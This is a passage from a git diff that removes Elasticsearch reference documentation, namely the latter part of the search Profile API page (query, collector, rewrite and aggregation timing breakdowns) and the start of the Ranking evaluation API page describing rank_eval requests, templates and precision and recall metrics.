-and a search may cover one or more indices, the top level element in the profile 
-response is an array of `shard` objects. Each shard object lists its `id` which 
-uniquely identifies the shard.  The ID's format is 
-`[nodeID][indexName][shardID]`.
-
-The profile itself may consist of one or more "searches", where a search is a 
-query executed against the underlying Lucene index.  Most search requests 
-submitted by the user will only execute a single `search` against the Lucene 
-index. But occasionally multiple searches will be executed, such as including a 
-global aggregation (which needs to execute a secondary "match_all" query for the 
-global context).
-
-Inside each `search` object there will be two arrays of profiled information:
-a `query` array and a `collector` array.  Alongside the `search` object is an 
-`aggregations` object that contains the profile information for the 
-aggregations. In the future, more sections may be added, such as `suggest`, 
-`highlight`, etc.
-
-There will also be a `rewrite` metric showing the total time spent rewriting the 
-query (in nanoseconds).
-
-NOTE: As with other statistics apis, the Profile API supports human readable outputs. This can be turned on by adding
-`?human=true` to the query string. In this case, the output contains the additional `time` field containing rounded,
-human readable timing information (e.g. `"time": "391,9ms"`, `"time": "123.3micros"`).
-
-[[profiling-queries]]
-==== Profiling Queries
-
-[NOTE]
-=======================================
-The details provided by the Profile API directly expose Lucene class names and concepts, which means
-that complete interpretation of the results require fairly advanced knowledge of Lucene.  This
-page attempts to give a crash-course in how Lucene executes queries so that you can use the Profile API to successfully
-diagnose and debug queries, but it is only an overview.  For complete understanding, please refer
-to Lucene's documentation and, in places, the code.
-
-With that said, a complete understanding is often not required to fix a slow query.  It is usually
-sufficient to see that a particular component of a query is slow, and not necessarily understand why
-the `advance` phase of that query is the cause, for example.
-=======================================
-
-[[query-section]]
-===== `query` Section
-
-The `query` section contains detailed timing of the query tree executed by 
-Lucene on a particular shard. The overall structure of this query tree will 
-resemble your original Elasticsearch query, but may be slightly (or sometimes 
-very) different.  It will also use similar but not always identical naming. 
-Using our previous `match` query example, let's analyze the `query` section:
-
-[source,console-result]
---------------------------------------------------
-"query": [
-    {
-       "type": "BooleanQuery",
-       "description": "message:get message:search",
-       "time_in_nanos": "11972972",
-       "breakdown": {...},               <1>
-       "children": [
-          {
-             "type": "TermQuery",
-             "description": "message:get",
-             "time_in_nanos": "3801935",
-             "breakdown": {...}
-          },
-          {
-             "type": "TermQuery",
-             "description": "message:search",
-             "time_in_nanos": "205654",
-             "breakdown": {...}
-          }
-       ]
-    }
-]
---------------------------------------------------
-// TESTRESPONSE[s/^/{\n"took": $body.took,\n"timed_out": $body.timed_out,\n"_shards": $body._shards,\n"hits": $body.hits,\n"profile": {\n"shards": [ {\n"id": "$body.$_path",\n"searches": [{\n/]
-// TESTRESPONSE[s/]$/],"rewrite_time": $body.$_path, "collector": $body.$_path}], "aggregations": []}]}}/]
-// TESTRESPONSE[s/(?<=[" ])\d+(\.\d+)?/$body.$_path/]
-// TESTRESPONSE[s/"breakdown": \{...\}/"breakdown": $body.$_path/]
-<1> The breakdown timings are omitted for simplicity.
-
-Based on the profile structure, we can see that our `match` query was rewritten 
-by Lucene into a BooleanQuery with two clauses (both holding a TermQuery).  The 
-`type` field displays the Lucene class name, and often aligns with the 
-equivalent name in Elasticsearch.  The `description` field displays the Lucene 
-explanation text for the query, and is made available to help differentiating 
-between parts of your query (e.g. both `message:get` and `message:search` are 
-TermQuery's and would appear identical otherwise.
-
-The `time_in_nanos` field shows that this query took ~11.9ms for the entire 
-BooleanQuery to execute.  The recorded time is inclusive of all children.
-
-The `breakdown` field will give detailed stats about how the time was spent, 
-we'll look at that in a moment.  Finally, the `children` array lists any 
-sub-queries that may be present.  Because we searched for two values ("get 
-search"), our BooleanQuery holds two children TermQueries.  They have identical 
-information (type, time, breakdown, etc).  Children are allowed to have their 
-own children.
-
-===== Timing Breakdown
-
-The `breakdown` component lists detailed timing statistics about low-level 
-Lucene execution:
-
-[source,console-result]
---------------------------------------------------
-"breakdown": {
-  "set_min_competitive_score_count": 0,
-  "match_count": 5,
-  "shallow_advance_count": 0,
-  "set_min_competitive_score": 0,
-  "next_doc": 39022,
-  "match": 4456,
-  "next_doc_count": 5,
-  "score_count": 5,
-  "compute_max_score_count": 0,
-  "compute_max_score": 0,
-  "advance": 84525,
-  "advance_count": 1,
-  "score": 37779,
-  "build_scorer_count": 2,
-  "create_weight": 4694895,
-  "shallow_advance": 0,
-  "create_weight_count": 1,
-  "build_scorer": 7112295
-}
---------------------------------------------------
-// TESTRESPONSE[s/^/{\n"took": $body.took,\n"timed_out": $body.timed_out,\n"_shards": $body._shards,\n"hits": $body.hits,\n"profile": {\n"shards": [ {\n"id": "$body.$_path",\n"searches": [{\n"query": [{\n"type": "BooleanQuery",\n"description": "message:get message:search",\n"time_in_nanos": $body.$_path,/]
-// TESTRESPONSE[s/}$/},\n"children": $body.$_path}],\n"rewrite_time": $body.$_path, "collector": $body.$_path}], "aggregations": []}]}}/]
-// TESTRESPONSE[s/(?<=[" ])\d+(\.\d+)?/$body.$_path/]
-
-Timings are listed in wall-clock nanoseconds and are not normalized at all. All 
-caveats about the overall `time_in_nanos` apply here.  The intention of the 
-breakdown is to give you a feel for A) what machinery in Lucene is actually 
-eating time, and B) the magnitude of differences in times between the various 
-components. Like the overall time, the breakdown is inclusive of all children 
-times.
-
-The meaning of the stats are as follows:
-
-[discrete]
-===== All parameters:
-
-[horizontal]
-`create_weight`::
-
-    A Query in Lucene must be capable of reuse across multiple IndexSearchers (think of it as the engine that
-    executes a search against a specific Lucene Index).  This puts Lucene in a tricky spot, since many queries
-    need to accumulate temporary state/statistics associated with the index it is being used against, but the
-    Query contract mandates that it must be immutable.
-    {empty} +
-    {empty} +
-    To get around this, Lucene asks each query to generate a Weight object which acts as a temporary context
-    object to hold state associated with this particular (IndexSearcher, Query) tuple.  The `weight` metric
-    shows how long this process takes
-
-`build_scorer`::
-
-    This parameter shows how long it takes to build a Scorer for the query.  A Scorer is the mechanism that
-    iterates over matching documents and generates a score per-document (e.g. how well does "foo" match the document?).
-    Note, this records the time required to generate the Scorer object, not actually score the documents.  Some
-    queries have faster or slower initialization of the Scorer, depending on optimizations, complexity, etc.
-    {empty} +
-    {empty} +
-    This may also show timing associated with caching, if enabled and/or applicable for the query
-
-`next_doc`::
-
-    The Lucene method `next_doc` returns Doc ID of the next document matching the query.  This statistic shows
-    the time it takes to determine which document is the next match, a process that varies considerably depending
-    on the nature of the query.   Next_doc is a specialized form of advance() which is more convenient for many
-    queries in Lucene.  It is equivalent to advance(docId() + 1)
-
-`advance`::
-
-    `advance` is the "lower level" version of next_doc: it serves the same purpose of finding the next matching
-    doc, but requires the calling query to perform extra tasks such as identifying and moving past skips, etc.
-    However,  not all queries can use next_doc, so `advance` is also timed for those queries.
-    {empty} +
-    {empty} +
-    Conjunctions (e.g. `must` clauses in a Boolean) are typical consumers of `advance`
-
-`match`::
-
-    Some queries, such as phrase queries, match documents using a "two-phase" process.  First, the document is
-    "approximately" matched, and if it matches approximately, it is checked a second time with a more rigorous
-    (and expensive) process.  The second phase verification is what the `match` statistic measures.
-    {empty} +
-    {empty} +
-    For example, a phrase query first checks a document approximately by ensuring all terms in the phrase are
-    present in the doc.  If all the terms are present, it then executes the second phase verification to ensure
-    the terms are in-order to form the phrase, which is relatively more expensive than just checking for presence
-    of the terms.
-    {empty} +
-    {empty} +
-    Because this two-phase process is only used by a handful of queries, the `match` statistic is often zero
-
-`score`::
-
-    This records the time taken to score a particular document via its Scorer
-
-`*_count`::
-    Records the number of invocations of the particular method.  For example, `"next_doc_count": 2,`
-    means the `nextDoc()` method was called on two different documents.  This can be used to help judge
-    how selective queries are, by comparing counts between different query components.
-
-
-[[collectors-section]]
-===== `collectors` Section
-
-The Collectors portion of the response shows high-level execution details. 
-Lucene works by defining a "Collector" which is responsible for coordinating the 
-traversal, scoring, and collection of matching documents.  Collectors are also 
-how a single query can record aggregation results, execute unscoped "global" 
-queries, execute post-query filters, etc.
-
-Looking at the previous example:
-
-[source,console-result]
---------------------------------------------------
-"collector": [
-  {
-    "name": "SimpleTopScoreDocCollector",
-    "reason": "search_top_hits",
-    "time_in_nanos": 775274
-  }
-]
---------------------------------------------------
-// TESTRESPONSE[s/^/{\n"took": $body.took,\n"timed_out": $body.timed_out,\n"_shards": $body._shards,\n"hits": $body.hits,\n"profile": {\n"shards": [ {\n"id": "$body.$_path",\n"searches": [{\n"query": $body.$_path,\n"rewrite_time": $body.$_path,/]
-// TESTRESPONSE[s/]$/]}], "aggregations": []}]}}/]
-// TESTRESPONSE[s/(?<=[" ])\d+(\.\d+)?/$body.$_path/]
-
-
-We see a single collector named `SimpleTopScoreDocCollector` wrapped into 
-`CancellableCollector`. `SimpleTopScoreDocCollector` is the default "scoring and 
-sorting" `Collector` used by {es}. The `reason` field attempts to give a plain 
-English description of the class name.  The `time_in_nanos` is similar to the 
-time in the Query tree: a wall-clock time inclusive of all children. Similarly, 
-`children` lists all sub-collectors. The `CancellableCollector` that wraps 
-`SimpleTopScoreDocCollector` is used by {es} to detect if the current search was 
-cancelled and stop collecting documents as soon as it occurs.
-
-It should be noted that Collector times are **independent** from the Query 
-times.  They are calculated, combined, and normalized independently! Due to the 
-nature of Lucene's execution, it is impossible to "merge" the times from the 
-Collectors into the Query section, so they are displayed in separate portions.
-
-For reference, the various collector reasons are:
-
-[horizontal]
-`search_sorted`::
-
-    A collector that scores and sorts documents.  This is the most common collector and will be seen in most
-    simple searches
-
-`search_count`::
-
-    A collector that only counts the number of documents that match the query, but does not fetch the source.
-    This is seen when `size: 0` is specified
-
-`search_terminate_after_count`::
-
-    A collector that terminates search execution after `n` matching documents have been found.  This is seen
-    when the `terminate_after_count` query parameter has been specified
-
-`search_min_score`::
-
-    A collector that only returns matching documents that have a score greater than `n`.  This is seen when
-    the top-level parameter `min_score` has been specified.
-
-`search_multi`::
-
-    A collector that wraps several other collectors.  This is seen when combinations of search, aggregations,
-    global aggs, and post_filters are combined in a single search.
-
-`search_timeout`::
-
-    A collector that halts execution after a specified period of time.  This is seen when a `timeout` top-level
-    parameter has been specified.
-
-`aggregation`::
-
-    A collector that Elasticsearch uses to run aggregations against the query scope.  A single `aggregation`
-    collector is used to collect documents for *all* aggregations, so you will see a list of aggregations
-    in the name rather.
-
-`global_aggregation`::
-
-    A collector that executes an aggregation against the global query scope, rather than the specified query.
-    Because the global scope is necessarily different from the executed query, it must execute its own
-    match_all query (which you will see added to the Query section) to collect your entire dataset
-
-
-[[rewrite-section]]
-===== `rewrite` Section
-
-All queries in Lucene undergo a "rewriting" process.  A query (and its 
-sub-queries) may be rewritten one or more times, and the process continues until 
-the query stops changing.  This process allows Lucene to perform optimizations, 
-such as removing redundant clauses, replacing one query for a more efficient 
-execution path, etc. For example a Boolean -> Boolean -> TermQuery can be 
-rewritten to a TermQuery, because all the Booleans are unnecessary in this case.
-
-The rewriting process is complex and difficult to display, since queries can 
-change drastically. Rather than showing the intermediate results, the total 
-rewrite time is simply displayed as a value (in nanoseconds). This value is 
-cumulative and contains the total time for all queries being rewritten.
-
-===== A more complex example
-
-To demonstrate a slightly more complex query and the associated results, we can 
-profile the following query:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search
-{
-  "profile": true,
-  "query": {
-    "term": {
-      "user.id": {
-        "value": "elkbee"
-      }
-    }
-  },
-  "aggs": {
-    "my_scoped_agg": {
-      "terms": {
-        "field": "http.response.status_code"
-      }
-    },
-    "my_global_agg": {
-      "global": {},
-      "aggs": {
-        "my_level_agg": {
-          "terms": {
-            "field": "http.response.status_code"
-          }
-        }
-      }
-    }
-  },
-  "post_filter": {
-    "match": {
-      "message": "search"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:my_index]
-// TEST[s/_search/_search\?filter_path=profile.shards.id,profile.shards.searches,profile.shards.aggregations/]
-
-
-This example has:
-
-- A query
-- A scoped aggregation
-- A global aggregation
-- A post_filter
-
-
-The API returns the following result:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "profile": {
-    "shards": [
-      {
-        "id": "[P6-vulHtQRWuD4YnubWb7A][my-index-000001][0]",
-        "searches": [
-          {
-            "query": [
-              {
-                "type": "TermQuery",
-                "description": "message:search",
-                "time_in_nanos": 141618,
-                "breakdown": {
-                  "set_min_competitive_score_count": 0,
-                  "match_count": 0,
-                  "shallow_advance_count": 0,
-                  "set_min_competitive_score": 0,
-                  "next_doc": 0,
-                  "match": 0,
-                  "next_doc_count": 0,
-                  "score_count": 0,
-                  "compute_max_score_count": 0,
-                  "compute_max_score": 0,
-                  "advance": 3942,
-                  "advance_count": 4,
-                  "score": 0,
-                  "build_scorer_count": 2,
-                  "create_weight": 38380,
-                  "shallow_advance": 0,
-                  "create_weight_count": 1,
-                  "build_scorer": 99296
-                }
-              },
-              {
-                "type": "TermQuery",
-                "description": "user.id:elkbee",
-                "time_in_nanos": 163081,
-                "breakdown": {
-                  "set_min_competitive_score_count": 0,
-                  "match_count": 0,
-                  "shallow_advance_count": 0,
-                  "set_min_competitive_score": 0,
-                  "next_doc": 2447,
-                  "match": 0,
-                  "next_doc_count": 4,
-                  "score_count": 4,
-                  "compute_max_score_count": 0,
-                  "compute_max_score": 0,
-                  "advance": 3552,
-                  "advance_count": 1,
-                  "score": 5027,
-                  "build_scorer_count": 2,
-                  "create_weight": 107840,
-                  "shallow_advance": 0,
-                  "create_weight_count": 1,
-                  "build_scorer": 44215
-                }
-              }
-            ],
-            "rewrite_time": 4769,
-            "collector": [
-              {
-                "name": "MultiCollector",
-                "reason": "search_multi",
-                "time_in_nanos": 1945072,
-                "children": [
-                  {
-                    "name": "FilteredCollector",
-                    "reason": "search_post_filter",
-                    "time_in_nanos": 500850,
-                    "children": [
-                      {
-                        "name": "SimpleTopScoreDocCollector",
-                        "reason": "search_top_hits",
-                        "time_in_nanos": 22577
-                      }
-                    ]
-                  },
-                  {
-                    "name": "MultiBucketCollector: [[my_scoped_agg, my_global_agg]]",
-                    "reason": "aggregation",
-                    "time_in_nanos": 867617
-                  }
-                ]
-              }
-            ]
-          }
-        ],
-        "aggregations": [...] <1>
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"aggregations": \[\.\.\.\]/"aggregations": $body.$_path/]
-// TESTRESPONSE[s/\.\.\.//]
-// TESTRESPONSE[s/(?<=[" ])\d+(\.\d+)?/$body.$_path/]
-// TESTRESPONSE[s/"id": "\[P6-vulHtQRWuD4YnubWb7A\]\[my-index-000001\]\[0\]"/"id": $body.profile.shards.0.id/]
-<1> The `"aggregations"` portion has been omitted because it will be covered in 
-the next section.
-
-As you can see, the output is significantly more verbose than before.  All the 
-major portions of the query are represented:
-
-1. The first `TermQuery` (user.id:elkbee) represents the main `term` query.
-2. The second `TermQuery` (message:search) represents the `post_filter` query.
-
-The Collector tree is fairly straightforward, showing how a single 
-CancellableCollector wraps a MultiCollector which also wraps a FilteredCollector 
-to execute the post_filter (and in turn wraps the normal scoring 
-SimpleCollector), a BucketCollector to run all scoped aggregations.
-
-===== Understanding MultiTermQuery output
-
-A special note needs to be made about the `MultiTermQuery` class of queries. 
-This includes wildcards, regex, and fuzzy queries. These queries emit very 
-verbose responses, and are not overly structured.
-
-Essentially, these queries rewrite themselves on a per-segment basis. If you 
-imagine the wildcard query `b*`, it technically can match any token that begins 
-with the letter "b".  It would be impossible to enumerate all possible 
-combinations, so Lucene rewrites the query in context of the segment being 
-evaluated, e.g., one segment may contain the tokens `[bar, baz]`, so the query 
-rewrites to a BooleanQuery combination of "bar" and "baz".  Another segment may 
-only have the token `[bakery]`, so the query rewrites to a single TermQuery for 
-"bakery".
-
-Due to this dynamic, per-segment rewriting, the clean tree structure becomes 
-distorted and no longer follows a clean "lineage" showing how one query rewrites 
-into the next.  At present time, all we can do is apologize, and suggest you 
-collapse the details for that query's children if it is too confusing. Luckily, 
-all the timing statistics are correct, just not the physical layout in the 
-response, so it is sufficient to just analyze the top-level MultiTermQuery and
-ignore its children if you find the details too tricky to interpret.
-
-Hopefully this will be fixed in future iterations, but it is a tricky problem to 
-solve and still in-progress. :)
-
-[[profiling-aggregations]]
-===== Profiling Aggregations
-
-
-[[agg-section]]
-====== `aggregations` Section
-
-
-The `aggregations` section contains detailed timing of the aggregation tree 
-executed by a particular shard. The overall structure of this aggregation tree 
-will resemble your original {es} request. Let's execute the previous query again 
-and look at the aggregation profile this time:
-
-[source,console]
---------------------------------------------------
-GET /my-index-000001/_search
-{
-  "profile": true,
-  "query": {
-    "term": {
-      "user.id": {
-        "value": "elkbee"
-      }
-    }
-  },
-  "aggs": {
-    "my_scoped_agg": {
-      "terms": {
-        "field": "http.response.status_code"
-      }
-    },
-    "my_global_agg": {
-      "global": {},
-      "aggs": {
-        "my_level_agg": {
-          "terms": {
-            "field": "http.response.status_code"
-          }
-        }
-      }
-    }
-  },
-  "post_filter": {
-    "match": {
-      "message": "search"
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=profile.shards.aggregations/]
-// TEST[continued]
-
-
-This yields the following aggregation profile output:
-
-[source,console-result]
---------------------------------------------------
-{
-  "profile": {
-    "shards": [
-      {
-        "aggregations": [
-          {
-            "type": "NumericTermsAggregator",
-            "description": "my_scoped_agg",
-            "time_in_nanos": 79294,
-            "breakdown": {
-              "reduce": 0,
-              "build_aggregation": 30885,
-              "build_aggregation_count": 1,
-              "initialize": 2623,
-              "initialize_count": 1,
-              "reduce_count": 0,
-              "collect": 45786,
-              "collect_count": 4,
-              "build_leaf_collector": 18211,
-              "build_leaf_collector_count": 1,
-              "post_collection": 929,
-              "post_collection_count": 1
-            },
-            "debug": {
-              "total_buckets": 1,
-              "result_strategy": "long_terms"
-            }
-          },
-          {
-            "type": "GlobalAggregator",
-            "description": "my_global_agg",
-            "time_in_nanos": 104325,
-            "breakdown": {
-              "reduce": 0,
-              "build_aggregation": 22470,
-              "build_aggregation_count": 1,
-              "initialize": 12454,
-              "initialize_count": 1,
-              "reduce_count": 0,
-              "collect": 69401,
-              "collect_count": 4,
-              "build_leaf_collector": 8150,
-              "build_leaf_collector_count": 1,
-              "post_collection": 1584,
-              "post_collection_count": 1
-            },
-            "children": [
-              {
-                "type": "NumericTermsAggregator",
-                "description": "my_level_agg",
-                "time_in_nanos": 76876,
-                "breakdown": {
-                  "reduce": 0,
-                  "build_aggregation": 13824,
-                  "build_aggregation_count": 1,
-                  "initialize": 1441,
-                  "initialize_count": 1,
-                  "reduce_count": 0,
-                  "collect": 61611,
-                  "collect_count": 4,
-                  "build_leaf_collector": 5564,
-                  "build_leaf_collector_count": 1,
-                  "post_collection": 471,
-                  "post_collection_count": 1
-                },
-                "debug": {
-                  "total_buckets": 1,
-                  "result_strategy": "long_terms"
-                }
-              }
-            ]
-          }
-        ]
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-// TESTRESPONSE[s/(?<=[" ])\d+(\.\d+)?/$body.$_path/]
-// TESTRESPONSE[s/"id": "\[P6-vulHtQRWuD4YnubWb7A\]\[my-index-000001\]\[0\]"/"id": $body.profile.shards.0.id/]
-
-From the profile structure we can see that the `my_scoped_agg` is internally 
-being run as a `NumericTermsAggregator` (because the field it is aggregating, 
-`http.response.status_code`, is a numeric field). At the same level, we see a `GlobalAggregator` 
-which comes from `my_global_agg`. That aggregation then has a child 
-`NumericTermsAggregator` which comes from the second term's aggregation on `http.response.status_code`.
-
-The `time_in_nanos` field shows the time executed by each aggregation, and is 
-inclusive of all children.  While the overall time is useful, the `breakdown` 
-field will give detailed stats about how the time was spent.
-
-Some aggregations may return expert `debug` information that describe features
-of the underlying execution of the aggregation that are 'useful for folks that
-hack on aggregations but that we don't expect to be otherwise useful. They can
-vary wildly between versions, aggregations, and aggregation execution
-strategies.
-
-===== Timing Breakdown
-
-The `breakdown` component lists detailed statistics about low-level execution:
-
-[source,js]
---------------------------------------------------
-"breakdown": {
-  "reduce": 0,
-  "build_aggregation": 30885,
-  "build_aggregation_count": 1,
-  "initialize": 2623,
-  "initialize_count": 1,
-  "reduce_count": 0,
-  "collect": 45786,
-  "collect_count": 4,
-  "build_leaf_collector": 18211,
-  "build_leaf_collector_count": 1,
-  "post_collection": 929,
-  "post_collection_count": 1
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Each property in the `breakdown` component corresponds to an internal method for
-the aggregation. For example, the `build_leaf_collector` property measures
-nanoseconds spent running the aggregation's `getLeafCollector()` method.
-Properties ending in `_count` record the number of invocations of the particular
-method. For example, `"collect_count": 2` means the aggregation called the
-`collect()` on two different documents. The `reduce` property is reserved for
-future use and always returns `0`.
-
-Timings are listed in wall-clock nanoseconds and are not normalized at all. All 
-caveats about the overall `time` apply here.  The intention of the breakdown is 
-to give you a feel for A) what machinery in {es} is actually eating time, and B) 
-the magnitude of differences in times between the various components. Like the 
-overall time, the breakdown is inclusive of all children times.
-
-[[profiling-considerations]]
-===== Profiling Considerations
-
-Like any profiler, the Profile API introduces a non-negligible overhead to 
-search execution. The act of instrumenting low-level method calls such as 
-`collect`, `advance`, and `next_doc` can be fairly expensive, since these 
-methods are called in tight loops.  Therefore, profiling should not be enabled 
-in production settings by default, and should not be compared against 
-non-profiled query times. Profiling is just a diagnostic tool.
-
-There are also cases where special Lucene optimizations are disabled, since they 
-are not amenable to profiling. This could cause some queries to report larger 
-relative times than their non-profiled counterparts, but in general should not 
-have a drastic effect compared to other components in the profiled query.
-
-[[profile-limitations]]
-===== Limitations
-
-- Profiling currently does not measure the search fetch phase nor the network 
-overhead.
-- Profiling also does not account for time spent in the queue, merging shard 
-responses on the coordinating node, or additional work such as building global 
-ordinals (an internal data structure used to speed up search).
-- Profiling statistics are currently not available for suggestions, 
-highlighting, `dfs_query_then_fetch`.
-- Profiling of the reduce phase of aggregation is currently not available.
-- The Profiler is still highly experimental. The Profiler is instrumenting parts 
-of Lucene that were never designed to be exposed in this manner, and so all 
-results should be viewed as a best effort to provide detailed diagnostics. We 
-hope to improve this over time. If you find obviously wrong numbers, strange 
-query structures, or other bugs, please report them!
diff --git a/docs/reference/search/rank-eval.asciidoc b/docs/reference/search/rank-eval.asciidoc
deleted file mode 100644
index 7d750a34e5d..00000000000
--- a/docs/reference/search/rank-eval.asciidoc
+++ /dev/null
@@ -1,535 +0,0 @@
-[[search-rank-eval]]
-=== Ranking evaluation API
-++++
-<titleabbrev>Ranking evaluation</titleabbrev>
-++++
-
-Allows you to evaluate the quality of ranked search results over a set of
-typical search queries.
-
-[[search-rank-eval-api-request]]
-==== {api-request-title}
-
-`GET /<target>/_rank_eval`
-
-`POST /<target>/_rank_eval`
-
-
-[[search-rank-eval-api-desc]]
-==== {api-description-title}
-
-The ranking evaluation API allows you to evaluate the quality of ranked search
-results over a set of typical search queries. Given this set of queries and a
-list of manually rated documents, the `_rank_eval` endpoint calculates and
-returns typical information retrieval metrics like _mean reciprocal rank_,
-_precision_ or _discounted cumulative gain_.
-
-Search quality evaluation starts with looking at the users of your search
-application, and the things that they are searching for. Users have a specific
-_information need_; for example, they are looking for gift in a web shop or want
-to book a flight for their next holiday. They usually enter some search terms
-into a search box or some other web form. All of this information, together with
-meta information about the user (for example the browser, location, earlier
-preferences and so on) then gets translated into a query to the underlying
-search system.
-
-The challenge for search engineers is to tweak this translation process from
-user entries to a concrete query, in such a way that the search results contain
-the most relevant information with respect to the user's information need. This
-can only be done if the search result quality is evaluated constantly across a
-representative test suite of typical user queries, so that improvements in the
-rankings for one particular query don't negatively affect the ranking for
-other types of queries.
-
-In order to get started with search quality evaluation, you need three basic
-things:
-
-. A collection of documents you want to evaluate your query performance against,
-  usually one or more data streams or indices.
-. A collection of typical search requests that users enter into your system.
-. A set of document ratings that represent the documents' relevance with respect
-  to a search request.
-
-It is important to note that one set of document ratings is needed per test
-query, and that the relevance judgements are based on the information need of
-the user that entered the query.
-
-The ranking evaluation API provides a convenient way to use this information in
-a ranking evaluation request to calculate different search evaluation metrics.
-This gives you a first estimation of your overall search quality, as well as a
-measurement to optimize against when fine-tuning various aspect of the query
-generation in your application.
-
-
-[[search-rank-eval-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard (`*`) expressions are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[search-rank-eval-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
---
-Defaults to `open`.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-
-[[search-rank-eval-api-example]]
-==== {api-examples-title}
-
-In its most basic form, a request to the `_rank_eval` endpoint has two sections:
-
-[source,js]
------------------------------
-GET /my-index-000001/_rank_eval
-{
-  "requests": [ ... ],                            <1>
-  "metric": {                                     <2>
-    "mean_reciprocal_rank": { ... }               <3>
-  }
-}
------------------------------
-// NOTCONSOLE
-
-<1> a set of typical search requests, together with their provided ratings
-<2> definition of the evaluation metric to calculate
-<3> a specific metric and its parameters
-
-The request section contains several search requests typical to your
-application, along with the document ratings for each particular search request.
-
-[source,js]
------------------------------
-GET /my-index-000001/_rank_eval
-{
-  "requests": [
-    {
-      "id": "amsterdam_query",                                  <1>
-      "request": {                                              <2>
-          "query": { "match": { "text": "amsterdam" } }
-      },
-      "ratings": [                                              <3>
-        { "_index": "my-index-000001", "_id": "doc1", "rating": 0 },
-        { "_index": "my-index-000001", "_id": "doc2", "rating": 3 },
-        { "_index": "my-index-000001", "_id": "doc3", "rating": 1 }
-      ]
-    },
-    {
-      "id": "berlin_query",
-      "request": {
-        "query": { "match": { "text": "berlin" } }
-      },
-      "ratings": [
-        { "_index": "my-index-000001", "_id": "doc1", "rating": 1 }
-      ]
-    }
-  ]
-}
------------------------------
-// NOTCONSOLE
-
-<1> The search request's ID, used to group result details later.
-<2> The query being evaluated.
-<3> A list of document ratings. Each entry contains the following arguments:
-- `_index`: The document's index. For data streams, this should be the
-   document's backing index.
-- `_id`: The document ID.
-- `rating`: The document's relevance with regard to this search request.
-
-A document `rating` can be any integer value that expresses the relevance of the
-document on a user-defined scale. For some of the metrics, just giving a binary
-rating (for example `0` for irrelevant and `1` for relevant) will be sufficient,
-while other metrics can use a more fine-grained scale.
-
-
-===== Template-based ranking evaluation
-
-As an alternative to having to provide a single query per test request, it is
-possible to specify query templates in the evaluation request and later refer to
-them. This way, queries with a similar structure that differ only in their
-parameters don't have to be repeated all the time in the `requests` section.
-In typical search systems, where user inputs usually get filled into a small
-set of query templates, this helps make the evaluation request more succinct.
-
-[source,js]
---------------------------------
-GET /my-index-000001/_rank_eval
-{
-   [...]
-  "templates": [
-     {
-        "id": "match_one_field_query",  <1>
-        "template": { <2>
-            "inline": {
-                "query": {
-                  "match": { "{{field}}": { "query": "{{query_string}}" }}
-                }
-            }
-        }
-     }
-  ],
-  "requests": [
-      {
-         "id": "amsterdam_query"
-         "ratings": [ ... ],
-         "template_id": "match_one_field_query", <3>
-         "params": { <4>
-            "query_string": "amsterdam",
-            "field": "text"
-          }
-     },
-    [...]
-}
---------------------------------
-// NOTCONSOLE
-
-<1> the template id
-<2> the template definition to use
-<3> a reference to a previously defined template
-<4> the parameters to use to fill the template
-
-It is also possible to use <<pre-registered-templates,templates already stored>>  in the cluster state by referencing their id in the templates section.
-
-[source,js]
---------------------------------
-GET /my_index/_rank_eval
-{ 
-   [...]
-  "templates": [
-     {
-        "id": "match_one_field_query",  <1>
-        "template": { <2>
-            "id": "match_one_field_query"
-        }
-     }
-  ], 
-  "requests": [...]
-}
---------------------------------
-// NOTCONSOLE
-
-<1> the template id used for requests
-<2> the template id stored in the cluster state
-
-===== Available evaluation metrics
-
-The `metric` section determines which of the available evaluation metrics
-will be used. The following metrics are supported:
-
-[discrete]
-[[k-precision]]
-===== Precision at K (P@k)
-
-This metric measures the proportion of relevant results in the top k search results.
-It's a form of the well-known
-{wikipedia}/Evaluation_measures_(information_retrieval)#Precision[Precision]
-metric that only looks at the top k documents. It is the fraction of relevant
-documents in those first k results. A precision at 10 (P@10) value of 0.6 then
-means 6 out of the 10 top hits are relevant with respect to the user's
-information need.
-
-P@k works well as a simple evaluation metric that has the benefit of being easy
-to understand and explain. Documents in the collection need to be rated as either
-relevant or irrelevant with respect to the current query. P@k is a set-based
-metric and does not take into account the position of the relevant documents
-within the top k results, so a ranking of ten results that contains one
-relevant result in position 10 is equally as good as a ranking of ten results
-that contains one relevant result in position 1.
-
-[source,console]
---------------------------------
-GET /my-index-000001/_rank_eval
-{
-  "requests": [
-    {
-      "id": "JFK query",
-      "request": { "query": { "match_all": {} } },
-      "ratings": []
-    } ],
-  "metric": {
-    "precision": {
-      "k": 20,
-      "relevant_rating_threshold": 1,
-      "ignore_unlabeled": false
-    }
-  }
-}
---------------------------------
-// TEST[setup:my_index]
-
-The `precision` metric takes the following optional parameters
-
-[cols="<,<",options="header",]
-|=======================================================================
-|Parameter |Description
-|`k` |sets the maximum number of documents retrieved per query. This value will act in place of the usual `size` parameter
-in the query. Defaults to 10.
-|`relevant_rating_threshold` |sets the rating threshold above which documents are considered to be
-"relevant". Defaults to `1`.
-|`ignore_unlabeled` |controls how unlabeled documents in the search results are counted.
-If set to 'true', unlabeled documents are ignored and neither count as relevant or irrelevant. Set to 'false' (the default), they are treated as irrelevant.
-|=======================================================================
-
-
-[discrete]
-[[k-recall]]
-===== Recall at K (R@k)
-
-This metric measures the total number of relevant results in the top k search
-results. It's a form of the well-known
-{wikipedia}/Evaluation_measures_(information_retrieval)#Recall[Recall]
-metric. It is the fraction of relevant documents in those first k results
-relative to all possible relevant results. A recall at 10 (R@10) value of 0.5 then
-means 4 out of 8 relevant documents, with respect to the user's information
-need, were retrieved in the 10 top hits.
-
